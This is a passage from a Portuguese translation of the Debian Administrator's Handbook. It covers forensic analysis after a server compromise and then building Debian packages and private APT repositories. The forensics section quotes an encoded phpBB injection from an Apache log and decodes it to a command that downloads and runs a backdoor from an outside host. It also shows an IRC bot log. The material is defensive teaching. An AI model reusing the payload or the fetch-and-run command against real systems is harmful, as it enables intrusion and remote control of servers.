ser copiada com uma ferramenta comoo dd, estas imagens podem serenviadas para outro servidor(possivelmente com a muitoconveniente ferramenta nc). Outrapossibilidade pode ser ainda maissimples: é só pegar o disco da máquinae substituí-lo por um novo que pode serreformatado e reinstalado.

14.6.4. ReinstalandoO servidor não deve ser trazido devolta em linha sem uma reinstalaçãocompleta. Se o comprometimento foigrave (se privilégios administrativosforam obtidos), não há quase nenhuma

outra maneira de ter certeza de queestamos livres de tudo o que o invasorpode ter deixado para trás(particularmente backdoors).Naturalmente, todas últimasatualizações de segurança devemtambém ser aplicadas de modo aconectar a vulnerabilidade utilizadapelo invasor. O ideal, analisando oataque deve apontar para este vetor deataque, para que se possa ter certeza deefetivamente corrigi-lo, caso contrário,só se pode esperar que avulnerabilidade foi um daquelesfixados pelas atualizações.

Reinstalar um servidor remoto não ésempre fácil, pode envolver a

assistência da empresa de hospedagem,porque nem todas empresas oferecemsistemas automatizados dereinstalação. Cuidados devem sertomados para não reinstalar a máquinaa partir de backups feitos depois docompromisso. Idealmente, os dadosdevem ser restaurados, o própriosoftware deve ser reinstalado a partirda mídia de instalação.

14.6.5. AnaliseFonrenseAgora que o serviço foi restaurado, éhora de dar uma olhada nas imagens de

disco do sistema comprometido a fimde compreender o vetor de ataque. Aomontar essas imagens, deve se tomarcuidado e usar as opções ro, nodev,noexec, noatime de modo a evitaralteração dos conteúdos (incluindomarcas de tempo de acesso a arquivos)ou a execução de programascomprometidos por engano.

Refazendo um cenário de ataquegeralmente envolve olhar para tudo oque foi modificado e executado:

arquivos .bash_history muitasvezes prevem uma leitura muitointeressante;o mesmo acontece listando

arquivos que foram recentementecriados, modificados ouacessados;o comando strings ajuda aidentificar programas instaladospelo atacante, extraindoseqüências de texto de um binário;os arquivos de log em /var/log/muitas vezes permitem reconstruiruma cronologia dos eventos;ferramentas special-purposetambém permitem restaurar oconteúdo de arquivospotencialmente excluídos,incluindo arquivos de log que osatacantes muitas vezes excluíram.

Algumas destas operações podem ser

feita mais facilmente com softwareespecializado. Em particular, TheCoroner Toolkit (no pacote tct) é umacoleção de tais ferramentas. Ele incluivárias ferramentas; entre estes, grave-robber pode coletar dados de umsistema em execução comprometido,lazarus extrai dados interessantes,muitas vezes provenientes de regiõesnao alocados em discos e pcat podecopiar a memória usada por umprocesso; outras ferramentas deextração de dados também sãoincluídas.

O pacote sleuthkit fornece algumasoutras ferramentas para analisar umsistema de arquivos. Seu uso é

facilitado pela interface gráficaAutopsy Forensic Browser (no pacotede autopsy ).

14.6.6. Reconstituindoo Cenário do AtaqueTodos os elementos recolhidos durantea análise devem se encaixar comopeças de um quebra-cabeça, a criaçãodos primeiros arquivos suspeitos émuitas vezes relacionada aos registrosque comprovam a violação. A exemplodo mundo real deve ser mais explícitodo que longas divagações teóricas.

O registo seguinte foi extraido de um

Apache access.log:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Este exemplo corresponde a exploraçãode uma antiga vulnerabilidade desegurança em phpBB.

→ http://secunia.com/advisories/13239/

→ http://www.phpbb.com/phpBB/viewtopic.php?t=240636

Decodificar esta longa URL leva aoentendimento de que o atacanteconseguiu executar algum código PHP,chamado: system("cd /tmp; wgetgabryk.altervista.org/bd || curl

gabryk.altervista.org/bd -o bd;chmod +x bd; ./bd &"). Na verdade,um arquivo bd foi encontrado em/tmp/. Executando strings/mnt/tmp/bd retorna, entre outrostextos, PsychoPhobia Backdoor isstarting... Isso realmente parece umbackdoor.

Algum tempo depois, esse acesso foiusado para fazer o download, instalar eexecutar um bot - robô de IRC,conectado a uma rede IRC subterrânea.O robô pode então ser controladoatravés deste protocolo e instruidorealizar download de arquivos paracompartilhamento. Este programaainda tem o seu próprio arquivo de log:

** 2004-11-29-19:50:15: NOTICE: :[email protected] NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)

** 2004-11-29-19:50:15: DCC CHAT attempt authorized from [email protected]

** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024

** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating

** 2004-11-29-19:50:20: DCC CHAT Correct password

(...)

** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)

(...)

** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)

(...)

** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)

(...)

** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

Esses registros mostram que doisarquivos de vídeo foram armazenadosno servidor por meio do endereço IP82.50.72.202.

A presença desses vestígiosdemonstram que dois arquivos de vídeo

foram armazenados no servidor pormeio Paralelamente, o atacantetambém baixou um par de arquivosadicionais, /tmp/pt e /tmp/loginx.Executar esses arquivos através decadeias conduz à seqüências decaracteres, \ncomo Shellcode colocouem 0x%08lx e agora espera por shellsuid ....\nEstes parecem programas queexploram vulnerabilidades locais paraobter privilégios administrativos. Seráque chegam ao seu destino? Neste caso,provavelmente não, uma vez quenenhum arquivo parece ter sidomodificado após a violação inicial.

Neste exemplo, a intrusão toda foireconstruída, e pode-se deduzir que o

invasor foi capaz de tirar vantagem dosistema comprometido por cerca detrês dias, mas o elemento maisimportante na análise é que avulnerabilidade tenha sido identificada,e o administrador pode esta certo deque a nova instalação realmentecorrigiu a vulnerabilidade.

Chapter 15. Criandoum Pacote DebianÉ muito comum, para umadministrador que vem lidando compacotes Debian de maneira regular,sentir eventualmente a necessidade decriar o seu próprio pacote, ou modificarum pacote existente. Este capítulo tema intenção de responder as questõesmais comuns neste campo, e prover oselementos necessários para tirarvantagem da infraestrutura do Debianda melhor maneira possível. Comalguma sorte, após testar sua mão empacotes locais, você sinta a necessidade

de se aprofundar e eventualmentejuntar-se ao projeto Debian em simesmo!

15.1. Reconstruindoum Pacote a partirde suas FontesReconstruir um pacote binário énecessário sob diversas circunstâncias.Em alguns casos, o administradorprecisa uma funcionalidade que precisaque o programa seja compilado a partirde suas fontes, com uma opçãoparticular de compilação; em outras, o

programa empacotado na versãoinstalada do Debian não ésuficientemente recente. Em últimocaso, o administrador irá usualmenteconstruir um pacote mais recenteretirado de uma versão mais recente doDebian — como Testing ou até mesmoUnstable — então este novo pacotefuncionará em sua distribuição Stable;está operação é chamada“backporting”. Como de costume,alguma cautela deve ser tomada, antesde se empreender essa tarefa, paraverificar se isto já não foi feitoanteriormente. Isto pode ser verificadono site backports.debian.org.

15.1.1. Pegando os

15.1.1. Pegando osFontesReconstruir um pacote Debiancomeçado pegando seu código fonte. Amaneira mais fácil é utilizando ocomando apt-get source nome-do-pacote-fonte. Este comando precisade uma linha deb-src no arquivo/etc/apt/sources.list, e um indexede arquivos atualizado(i.e. apt-getupdate). Estas condições já devemestar corretas se você seguiu asinstruções do capítulo que lidou com aconfiguração do APT (see Section 6.1,“Preenchendo no arquivosources.list Arquivo”). Noteentretando, que você baixará o pacote

fonte da versão do Debian mencionadana linha deb-src.\nSe você precisar deoutra versão, você talvez precise baixá-la manualmente de um espelho Debianou de seu site.

15.1.2. FazendoAlteraçõesO fonte de um pacote está agoradisponível em um diretório nomeadoapós o pacote fonte e sua versão (porexemplo, samba-3.0.24); aqui é ondetrabalharemos nas nossas mudançaslocais.

A primeira coisa a se fazer é mudar o

número de versão do pacote, para que areconstrução possa ser distinguida dopacote original provido pelo Debian.Assumindo que a versão atual é3.0.24-6,, nós podemos criar umaversão 3.0.24-6.falcot1, na qualclaramente indica a origem do pacote.Isto faz com que a versão do pacoteseja maior do que a provida peloDebian, então o pacote facilmenteinstalará como se fosse umaatualização do pacte original. Talmudança tem melhor feito com ocomando dch (Debian CHangelog) dopacote devscripts, como invocação dch-v 3.0.24-6.falcot1. Está invocaçãoexecuta um editor de textos (sensible-editor — este deveria ser seu editor de

textos favorito se for mencionado navariável de ambiente VISUAL ouEDITOR, e se não o editor padrão seráusado) para permitir a documentaçãodas diferenças trazidas por estareconstrução. Este editor nos mostraque dch realmente modificou o arquivodebian/changelog.

Quando uma mudança nas opções deconstrução são necessárias, essasmudanças são feitas no debian/rules,o qual controla os passos para oprocesso de construção do pacote. Noscasos mais simples, as linhasrelevantes as configurações iniciais(./configure …) ou a construçãoverdadeira ($(MAKE) … ou make …) são

fáceis de marcar. Se eles comandos sãoexplicitamente chamados, elesprovavelmente são efeitos colaterais deoutro comando explícito, em cada casopor favor verifique a documentaçãopara aprender mais sobre comomodificar o comportamento padrão.

Dependendo das mudanças locais nospacotes, uma atualização talvez sejanecessária no arquivo debian/control, o qual contém uma descrição dospacotes gerados. Em particular, estearquivo contém linhas Build-Dependsque controlam uma lista dedependências que devem ser satisfeitasdurante a construção do pacote. Estasgeralmente se referem a versões de

pacotes contidos na distribuição daqual o pacote fonte veio, mas quaistalvez não estejam disponíveis nadistribuição utilizada na reconstrução.Não há maneira automática paradeterminar se uma dependência é realou apenas especificada para garantirque a construção seja apenas tentadacom a última versão da biblioteca —esta é a única maneira de se forçar umconstrutor automático usar um pacotedado durante a construção, eis o porquedos mantenedores Debianfrequentemente utilizarem versõesrestritas das dependências deconstrução.

Se você tem certeza de que estas

dependências de compilação são muitorigorosos, você deve se sentir livre pararelaxá las localmente. Lendo osarquivos que documentam a formapadrão de construção do software -esses arquivos são chamadosfrequentemente INSTALL - irão ajudarvocê a descobrir as dependênciasapropriadas. Idealmente, todasdependências devem ser satisfeitas apartir da distribuição utilizada para areconstrução, se não forem, umprocesso recursivo começa, segundo oqual os pacotes mencionados no campoBuild-Depends deve ser reproduzidosdiante do pacote de destino. Algunspacotes podem não precisar reproduzir,e pode ser instalado como está durante

o processo de criação (um exemplonotável é debhelper). Observe que oprocesso reprodução pode tornar-serapidamente complexo se você não estávigilante. Portanto, a reprodução deveser mantido a um mínimo estritamentequando possível.

DICA Instalando Build-Depends

apt-get permite instalar todos os pacotesmencionados nos campos Build-Dependsde um pacote fonte disponível em umadistribuição mencionada na linha deb-srcno arquivo /etc/apt/sources.list. Isto éuma questão de simplesmente executar ocomando apt-get build-dep source-package.

15.1.3. Começando aReconstruçãoQuando todas mudanças necessáriasforem aplicadas aos fontes, podemoscomeçar a gerar o verdadeiro pacotebinário (arquivo .deb). Todo oprocesso é gerenciado pelo comandodpkg-buildpackage.

Example 15.1. Reconstruindo umpacote

$ dpkg-buildpackage -us -uc

[...]

FERRAMENTA fakeroot

Essencialmente, o processo de criação depacotes é simplesmente uma questão decoletar em um arquivo um conjunto dearquivos existentes (ou construídos); amaioria dos arquivos irão acabar sendo deposse do root no arquivo. Entretanto,contruir um pacote inteiro usando esteusuário implicaria em riscos maiores,felizmente, isto pode ser evitado com ocomando fakeroot. Esta ferramenta podeser usada para executar um programa edá-lo a impressão que é executado comoroot e criar arquivos com posse epermissões arbitrárias. Quando oprograma criar o arquivo que se tornará opacote Debian, ele é enganado a criar umarquivo contendo arquivos marcadospertencendo a usuário arbitrários,incluindo root. Esta configuração é tãoconveniente que o dpkg-buildpackageusa o fakeroot por padrão quando cria

pacotes.

Note que o programa é somente enganadoa "acreditar" que está operando com umaconta privilegiada, e o processo de fato éexecutado como o usuário que executou oprograma fakeroot (e os arquivos são naverdade criados com as permissõesdaquele usuário). Em nenhum momentoele realmente consegue privilégios deroot aos quais poderia abusar.

O comando anterior pode falhar se oscampos Build-Depends não foramatualizados, ou se os pacotesrelacionados não foram instalados.Neste caso, é possível anular estaverificação passando a opção -d para odpkg-buildpackage. Entretanto,

ignorando explicitamente essasdependências corre-se o risco doprocesso de construção falhar em umpróximo estágio. Pior, o pacote podeparecer corretamente construído masfalhar ao ser executado: algunsprogramas automaticamentedesabilitam algumas de suasfuncionalidades quando uma bibliotecanecessária não está disponível emtempo de construção.

Mais frequentemente do que nunca, osdesenvolvedores Debian usamprogramas de alto nível como odebuild; ele executa dpkg-buildpackage como de costume, masele também incluí a execução de um

programa que executa diversasverificações para validar a geração dospacotes contra a política do Debian.Este script também limpa o ambientepara que variáveis locais não "poluam"a construção do pacote. O comandodebuild é umas das ferramentas dasuíte devscripts, que divide algumaconsistência e configuração para tornaras tarefa dos mantenedores mais fácil.

OLHADA RÁPIDA pbuilder

O comando pbuilder (similarmente aonome do pacote) permite a construção deum pacote Debian em um ambientechrooted (enjaulado). Ele primeiramentecria um diretório temporário contendo umsistema mínimo necessário para a

construção do pacote (incluindo ospacotes mencionados no campo Build-Depends). Este diretório é então usadocomo diretório raiz (/), utilizando ocomando chroot, durante a fase deconstrução do pacote.

Está ferramenta permite ao processo deconstrução acontecer em um ambienteque não foi alterado pelo usuário. Istotambém permite uma detecção rápida deum dependência perdida (já que aconstrução irá falhar a não ser que asdependência estejam documentadas).Finalmente, ele permite a construção deum pacote para a versão do Debian quenão está sendo usada pelo sistema porcompleto: a máquina pode estarutilizando Stable para seu trabalhonormal, e um pbuilder rodando na mesmamáquina pode estar utilizando Unstable

para a construção dos pacotes.

15.2. Construindoseu PrimeiroPacote

15.2.1. Meta-pacotesou falsos pacotesPacotes falsos e meta-pacotes sãosimilares, ambos são shells vazios quesomente existem para efeito dosmetadados que existem na pilha degerenciamento de pacotes.

O propósito de um pacote falso éenganar o dpkg e o apt paraacreditarem que algum pacote estáinstalado mesmo que em realidade sejaapenas um shell vazio. Isto permitesatisfazer dependências num pacotequando o programa correspondente foiinstalado fora do escopo do sistema depacotes. Este método funciona, porémdeve mesmo assim ser evitado sempreque possível, já que não garantias deque o programa instalado manualmentese comportará exatamente como opacote correspondente faria e outrospacotes dependentes dele poderiam nãofuncionar corretamente.

De outra maneira, um meta-pacote

existe em sua maioria como umacoleção de dependências, entãoinstalando um meta-pacote na verdadetrará um conjunto de pacotes em umúnico passo.

Both these kinds of packages can becreated by the equivs-control andequivs-build commands (in the equivspackage). The equivs-control filecommand creates a Debian packageheader file that should be edited tocontain the name of the expectedpackage, its version number, the nameof the maintainer, its dependencies, andits description. Other fields without adefault value are optional and can bedeleted. The Copyright, Changelog,

Readme and Extra-Files fields are notstandard fields in Debian packages;they only make sense within the scopeof equivs-build, and they will not bekept in the headers of the generatedpackage.

Example 15.2. Cabeçalho do pacotefalso libxml-libxml-perl

Section: perl

Priority: optional

Standards-Version: 3.8.4

Package: libxml-libxml-perl

Version: 1.57-1

Maintainer: Raphael Hertzog <[email protected]>

Depends: libxml2 (>= 2.6.6)

Architecture: all

Description: Fake package - módulo instalado manualmente em site_perl

Este é um pacote falso para deixar o sistema de empacotamento

acreditando que este pacote Debian está instalado.

.

Na verdade, o pacote não está instalado desde uma versão mais recente

do módulo que foi manualmente compilada & instalada no

diretório site_perl.

O próximo passo é gerar o pacoteDebian com o comando equivs-buildarquivo. Voilà: o pacote foi criado nodiretório atual e pode ser manejadocomo qualquer outro pacote Debianseria.

15.2.2. DepósitoSimples de ArquivosOs administradores da Falcot Corp

precisam criar um pacote Debian parafacilitar a instalação de um conjunto dedocumentos em um grande número demáquina. O administrador responsávelpor essa tarefa primeiramente lê o“New Maintainer's Guide”, e entãocomeça a trabalhar no seu primeiropacote.

→ http://www.debian.org/doc/maint-guide/

O primeiro passo é criar um diretóriofalcot-data-1.0 que conterá o pacotefonte. O pacote irá logicamente, serchamado falcot-data e terá o númerode versão 1.0. O administrador entãocoloca os documentos em um

subdiretório data. Então ele chama ocomando dh_make (do pacote dh-make) para adicionar os arquivosnecessários para o processo de criaçãodo pacote, o qual será armazenado emum subdiretório debian:

$ cd falcot-data-1.0

$ dh_make --native

Type of package: único binário, binário indep, binário múltiplo, biblioteca, módulo do kernel, patch para o kernel ou cdbs?

Type of package: single binary, indep binary, multiple binary, library, kernel module, kernel patch or cdbs?

[s/i/m/l/k/n/b] i

Maintainer name : Raphael Hertzog

Email-Address : [email protected]

Date : Mon, 11 Apr 2011 15:11:36 +0200

Package Name : falcot-data

Version : 1.0

License : blank

Usind dpatch : não

Type of Package : Independente

Pressione <enter> para confirmar:

Atualmente não há nível superior Makefile. Isto pode exigir um ajuste adicional.

Feito. Por favor, edite os arquivos no agora debian/subdiretório. Você também deve

verificar se o instalador falcot-data Makefiles em $DESTDIR e não em /.

$

O tipo de pacote escolhido (binárioúnico) indica que este pacote fonte irágerar um único pacote bináriodependendo da arquitetura(Arquitetura: qualquer). binárioIndep atua como contraparte, e leva aum único pacote binário que não édependente da arquitetura alvo (Arquiitetura: Todas). Neste caso, aescolha último é mais relevante umavez que o pacote contém apenas osdocumentos e não programas binários,

para que possa ser usado de formasemelhante em computadores de todasarquitecturas.

O tipo múltiplo binário corresponde aum pacote fonte levando a váriospacotes binários. Um caso particular,biblioteca, é útil para bibliotecascompartilhadas, uma vez que precisaseguir regras rígidas doempacotamento. De forma semelhante,módulo do kernel deve ser restrito aospacotes contendo módulos do kernel.Finalmente, cdbs é um pacoteespecífico sistema de construção, ébastante flexível, mas requer uma certaquantidade de aprendizagem.

DICA Nome e endereço de e-mail domantenedor

A maioria dos programas envolvidos nopacotes de manutenção irão procurar seunome e endereço de e-mail noDEBFULLNAME e DEBEMAIL ou variáveis deambiente EMAIL. Defini los de uma vez portodas vai evitar que você tenha de digitá-los várias vezes. Se o shell usual é o bash,é uma simples questão de adicionar asduas linhas seguintes em seus aquivos~/.bashrc e ~/.bash_profile (vocêobviamente substitui os valores com osmais relevantes!):

export EMAIL="[email protected]"

export DEBFULLNAME="Raphael Hertzog"

O comando dh_make criou uma pasta

debian com muitos arquivos. Algunssão necessários, em particular regras, controle, changelog e copyright.Arquivos com extensão ex sãoexemplos de arquivos que podem serutilizados, modificando os (eremovendo a extensão), quandoapropriado. Quando eles não sãonecessários, removê los entao érecomendado. O arquivo compat deveser mantido, uma vez que é necessáriopara o funcionamento correto doconjunto de programas debhelper(todos começando com o prefixo dh_)utilizado em diferentes estágios dopacote do processo de construção.

O arquivo de direitos autorais deve

conter informações sobre os autoresdos documentos incluídos no pacote, eas licenças relacionadas. No nossocaso, estes são documentos internos esua utilização é limitada para dentro daempresa Corp Falcot. O padrãochangelog é geralmente apropriado;substituir o "lançamento inicial" comuma explicação mais detalhada ealterar da distribuição instável parainterna é suficiente . O arquivo decontrole também foi atualizado: aseção foi alterada para variada e apágina inicial, os campos Vcs-Gite Vcs-Browser foram removidos. Ocampo Dependencia foi completadocom iceweasel | www-browser, demodo a assegurar a disponibilidade de

um navegador web capaz de exibir osdocumentos no pacote.

Example 15.3. O arquivo control

Source: falcot-data

Section: misc

Priority: optional

Maintainer: Raphael Hertzog <[email protected]>

Build-Depends: debhelper (>= 7.0.50~)

Standards-Version: 3.8.4

Package: falcot-data

Architecture: all

Depends: iceweasel | www-browser, ${misc:Depends}

Description: Internal Falcot Corp Documentation

This package provides several documents describing the internal

structure at Falcot Corp. This includes:

- organization diagram

- contacts for each department.

.

These documents MUST NOT leave the company.

Their use is INTERNAL ONLY.

Example 15.4. O arquivo changelog

falcot-data (1.0) internal; urgency=low

* Initial Release.

* Let's start with few documents:

- internal company structure;

- contacts for each department.

-- Raphael Hertzog <[email protected]> Mon, 11 Apr 2011 20:46:33 +0200

Example 15.5. O arquivo copyright

Este trabalho foi empacotado para o Debian por Raphael Hertzog <[email protected]>

na Seg, 11 Abril 2011 20:46:33 +0200

Direitos Autorais:

Direitos Autorais (C) 2004-2011 Falcot Corp

Licença:

Todos os direitos reservados.

DE VOLTA AO BÁSICO arquivoMakefile

Um arquivo Makefile é um roteiro usadopelo programa make; ele descreve regraspara a construção de um conjunto dearquivos a partir de uma árvore dedependências entre si (por exemplo, umprograma pode ser construído a partir deum conjunto de arquivos fonte). Osarquivos Makefile descrevem essas regrasno seguinte formato:

target: sources

commando1

commando2

A interpretação dessas regras é comosegue: se um dos arquivos fontes é mais

recente do que o arquivo alvo, então oalvo precisará ser gerado, usando ocommando1 e commando2.

Note que as linhas com comandos devemcomeçar com um carácter de tabulação,também note que quando uma linha decomando começa com o caráctertravessão (-), a falha do comando nãointerromperá o processo por inteiro.

The rules file usually contains a set ofrules used to configure, build andinstall the software in a dedicatedsubdirectory (named after thegenerated binary package). Thecontents of this subdirectory is thenarchived within the Debian package asif it were the root of the filesystem. In

our case, files will be installed in thedebian/falcot-

data/usr/share/falcot-data/

subdirectory, so that installing thegenerated package will deploy the filesunder /usr/share/falcot-data/. Therules file is used as a Makefile, witha few standard targets (including cleanand binary, used respectively to cleanthe source directory and generate thebinary package).

Embora esse arquivo seja o coração doprocesso, cada vez mais ele contémsomente a informação mínima paraexecutar um conjunto padrão decomandos provido pela ferramentadebhelper. Tal é o cado dos arquivosgerados pelo dh_make. Para instalar

nossos arquivos, nós simplesmenteconfiguramos o comportamento docomando dh_install criando o seguintearquivo debian/falcot-data.install:

data/* usr/share/falcot-data/

Neste ponto, o pacote pode ser criado.Nós no entanto vamos adicionar umtoque especial. Já que osadministradores querem que osdocumentos sejam facilmenteacessador a partir dos menus de Ajudada interface gráfica, nós criaremos umaentrada no sistema de menu do Debian.Isto simplesmente é feito renomeandoo debian/menu.ex sem sua extensão e

editando o seguinte:

Example 15.6. O arquivo menu

?package(falcot-data):needs=X11|wm section=Help\

title="Internal Falcot Corp Documentation" \

command="/usr/bin/x-www-browser /usr/share/falcot-data/index.html"

?package(falcot-data):needs=text section=Help\

title="Internal Falcot Corp Documentation" \

command="/usr/bin/www-browser /usr/share/falcot-data/index.html"

The needs field, when set to X11|wmindicates that this entry only makessense in a graphical interface. It willtherefore only be integrated into themenus of the graphical (X11)applications and window managers(hence the wm). The section fieldstates where in the menu the entryshould be displayed. In our case, the

entry will be in the Help menu. Thetitle field contains the text that willbe displayed in the menu. Finally, thecommand field describes the commandto run when the user selects the menuentry.

A segunda entrada combina com aprimeira, com pequenas adaptaçõespara o modo texto do Linux.

POLÍTICA DO DEBIAN Organização domenu

O menus do Debian são organizados emuma estrutura formal, documentada noseguinte texto:

→ http://www.debian.org/doc/packaging-

manuals/menu-policy/

A seção no arquivo menu deve serselecionado da lista mencionada nestedocumento.

Simplesmente criando o arquivodebian/menu é o suficiente parahabilitar o menu no pacote, desde que ocomando dh_installmenu sejaautomaticamente invocado por dhdurante o processo de criação dopacote.

Nosso pacote fonte está pronto. Tudo oque sobrou fazer é gerar um pacotebinário, com o mesmo método queusamos anteriormente para construir

pacotes: executamos o comando dpkg-buildpackage -us -uc de dentro dodiretório falcot-data-1.0.

15.3. Criando umRepositório dePacotes para oAPTFalcot Corp gradualmente começou amanter alguns pacotes Debianmodificados localmente a partir depacotes existentes ou criados do zeropara distribuir dados e programasinternos.

Para facilitar a instalação, eles querema integração destes pacotes em um

repositório que possa ser acessadodiretamente usando a ferramenta APT.Por motivos de manutenção óbvios,eles querem separar os pacotes internosdos pacotes refeitos localmente. Oobjetivo é ter as entradascorrespondentes no arquivo/etc/apt/sources.list como segue:

deb http://packages.falcot.com/ updates/

deb http://packages.falcot.com/ internal/

The administrators therefore configurea virtual host on their internal HTTPserver, with /srv/vhosts/packages/as the root of the associated web space.The management of the archivethemselves is delegated to the mini-

dinstall command (in the similarly-named package). This tool keeps an eyeon an incoming/ directory (in our case,/srv/vhosts/packages/mini-

dinstall/incoming/) and waits fornew packages there; when a package isuploaded, it is installed into a Debianarchive at /srv/vhosts/packages/.The mini-dinstall command reads the*.changes file created when theDebian package is generated. Thesefiles contain a list of all other filesassociated to the version of the package(*.deb, *.dsc,*.diff.gz/*.debian.tar.gz,*.orig.tar.gz, or their equivalentswith other compression tools), and theyallow mini-dinstall to know which

files to install. *.changes files alsocontain the name of the targetdistribution (often unstable)mentioned in the latestdebian/changelog entry, and mini-dinstall uses this information to decidewhere the package should be installed.This is why administrators must alwayschange this field before building apackage, and set it to internal orupdates, depending on the targetlocation. mini-dinstall then generatesthe files required by APT, such asPackages.gz.

ALTERNATIVA apt-ftparchive

If mini-dinstall seems too complex for

your Debian archive needs, you can alsouse the apt-ftparchive command. Thistool scans the contents of a directory anddisplays (on its standard output) amatching Packages file. In the Falcot Corpcase, administrators could upload thepackages directly into/srv/vhosts/packages/updates/ or/srv/vhosts/packages/internal/, thenrun the following commands to create thePackages.gz files:

$ cd /srv/vhosts/packages

$ apt-ftparchive packages updates >updates/Packages

$ gzip updates/Packages

$ apt-ftparchive packages internal >internal/Packages

$ gzip internal/Packages

O comando apt-ftparchive sourcespermite criar arquivos Sources.gz demaneira similar.

Para configurar o mini-dinstall énecessário a configuração do arquivo~/.mini-dinstall.conf; no caso daFalcot Corp, o conteúdo é o seguinte:

[DEFAULT]

archive_style = flat

archivedir = /srv/vhosts/packages

verify_sigs = 0

mail_to = [email protected]

generate_release = 1

release_origin = Falcot Corp

release_codename = stable

[updates]

release_label = Recompiled Debian Packages

[internal]

release_label = Internal Packages

One decision worth noting is thegeneration of Release files for eacharchive. This can help manage packageinstallation priorities using the/etc/apt/preferences configurationfile (see chapter on APT configurationfor details).

SEGURANÇA mini-dinstall e permissões

Since mini-dinstall has been designed torun as a regular user, there's no need torun it as root. The easiest way is toconfigure everything within the useraccount belonging to the administrator incharge of creating the Debian packages.Since only this administrator has therequired permissions to put files in the

incoming/ directory, we can deduce thatthe administrator authenticated the originof each package prior to deployment andmini-dinstall does not need to do it again.This explains the verify_sigs = 0parameter (which means that signaturesneed not be verified). However, if thecontents of packages are sensitive, we canreverse the setting and elect toauthenticate with a keyring containing thepublic keys of persons allowed to createpackages (configured with theextra_keyrings parameter); mini-dinstallwill then check the origin of eachincoming package by analyzing thesignature integrated to the *.changes file.

Invoking mini-dinstall actually starts adaemon in the background. As long as

this daemon runs, it will check for newpackages in the incoming/ directoryevery half-hour; when a new packagearrives, it will be moved to the archiveand the appropriate Packages.gz andSources.gz files will be regenerated.If running a daemon is a problem,mini-dinstall can also be manuallyinvoked in batch mode (with the -boption) every time a package isuploaded into the incoming/ directory.Other possibilities provided by mini-dinstall are documented in its mini-dinstall(1) manual page.

EXTRA Gerando um arquivo assinado

The APT suite checks a chain of

cryptographic signatures on the packagesit handles before installing them (and hasdone so since Etch), in order to ensuretheir authenticity (see Section 6.5,“Verificando Autenticidade do Pacote”).Private APT archives can then be aproblem, since the machines using themwill keep displaying warnings aboutunsigned packages. A diligentadministrator will therefore integrateprivate archives with the secure APTmechanism.

To help with this process, mini-dinstallincludes a release_signscriptconfiguration option that allowsspecifying a script to use for generatingthe signature. A good starting point is thesign-release.sh script provided by themini-dinstall package in/usr/share/doc/mini-

dinstall/examples/; local changes maybe relevant.

15.4. Tornando-seum Mantenedorde Pacotes

15.4.1. Aprendendo aFazer PacotesCriar um pacote Debian de qualidadenão é sempre uma tarefa fácil, e tornar-se um mantenedor de pacote necessitaaprendizado, tanto na teoria e naprática. Não é simplesmente umaquestão de construir ou instalar

programas, em vez disso, a maior parteda complexidade vem do entendimentode problemas e conflitos, e maisgeralmente as interações, com amiríade de outros pacotes disponíveis.

15.4.1.1. Regras

A Debian package must comply withthe precise rules compiled in theDebian policy, and each packagemaintainer must know them. There isno requirement to know them by heart,but rather to know they exist and torefer to them whenever a choicepresents a non-trivial alternative. EveryDebian maintainer has made mistakesby not knowing about a rule, but this is

not a huge problem as soon as the erroris fixed when a user reports it as a bugreport, which tends to happen fairlysoon thanks to advanced users.

→ http://www.debian.org/doc/debian-policy/

15.4.1.2. Procedimentos

Debian is not a simple collection ofindividual packages. Everyone'spackaging work is part of a collectiveproject; being a Debian developerinvolves knowing how the Debianproject operates as a whole. Everydeveloper will, sooner or later, interactwith others. The Debian Developer's

Reference (in the developers-referencepackage) summarizes what everydeveloper must know in order tointeract as smoothly as possible withthe various teams within the project,and to take the best possibleadvantages of the available resources.This document also enumerates anumber of duties a developer isexpected to fulfill.

→ http://www.debian.org/doc/developers-reference/

15.4.1.3. Ferramentas

Muitas ferramentas ajudam osmantenedores dos pacotes em seu

trabalho. Esta seção descreve elasrapidamente, mas não dá todos osdetalhes, já que eles contém umadocumentação abrangente em si.

15.4.1.3.1. O Programa lintian

Está ferramenta é uma das maisimportantes: é o verificador de pacotesDebian. É baseada em uma vastamatriz de testes criada pela política doDebian, e detecta rapidamente eautomaticamente um grande número deerror que podem ser arrumados antesdo pacote ser lançado.

Está ferramenta é apenas um ajudante,e algumas vezes falha (por exemplo, já

